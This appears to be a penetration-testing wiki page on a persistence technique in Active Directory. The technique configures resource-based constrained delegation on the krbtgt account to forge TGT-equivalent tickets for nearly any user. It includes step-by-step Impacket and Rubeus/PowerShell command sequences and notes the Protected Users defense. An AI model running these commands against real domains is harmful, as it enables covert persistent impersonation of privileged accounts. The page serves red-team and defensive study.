Delegation to KRBTGT

Theory

The idea behind this technique is to configure resource-based constrained delegation on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one, or do SPN-less RBCD).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user.

Since a TGT is just a Service Ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (or, see SPN-less RBCD). This controlled account will be called "ControlledAccountWithSPN".

2. Perform a full S4U attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.

3. Pass-the-ticket to use the Service-Ticket-that-is-in-fact-a-TGT, act as the target -privileged- user, and authenticate to remote resources.

Practice

UNIX-like

Every step of this attack can be achieved using one of the following scripts from Impacket (Python), such as rbcd.py and getST.py.

# Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt
rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'

# Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN
getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'

# Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).
KRB5CCNAME='TargetedAccount@[e-mail]' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'

Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

# Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN

# Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN
Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash

# Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt

Resources

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active DirectoryShenanigans Labs

Delegate to KRBTGT service | Sky Blueteam

page(RBCD) Resource-based constrained